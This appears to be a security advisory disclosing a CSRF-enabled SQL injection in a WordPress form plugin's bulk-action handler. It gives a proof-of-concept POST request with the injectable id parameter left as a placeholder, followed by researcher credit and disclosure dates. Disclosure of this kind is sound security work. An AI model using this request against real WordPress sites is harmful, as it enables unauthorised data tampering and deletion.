In the plugin, the process_bulk_action() function in "admin/orange-form-email.php" performs an unprepared SQL query with an unsanitized parameter ($id). Only admin can access the page that invokes the function, but because of lack of CSRF protection, it is actually exploitable and could allow attackers to make a logged in admin delete arbitrary posts for example
POST /wp-admin/admin.php?page=or-form&msg=suc HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 52 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 page=or-form&action=delete&id%5B%5D={INJECTABLE_PARAM}&action2=delete
Francesco Carlucci
Francesco Carlucci
Yes
2021-12-29 (about 4 months ago)
2022-01-26 (about 3 months ago)
2022-04-08 (about 1 months ago)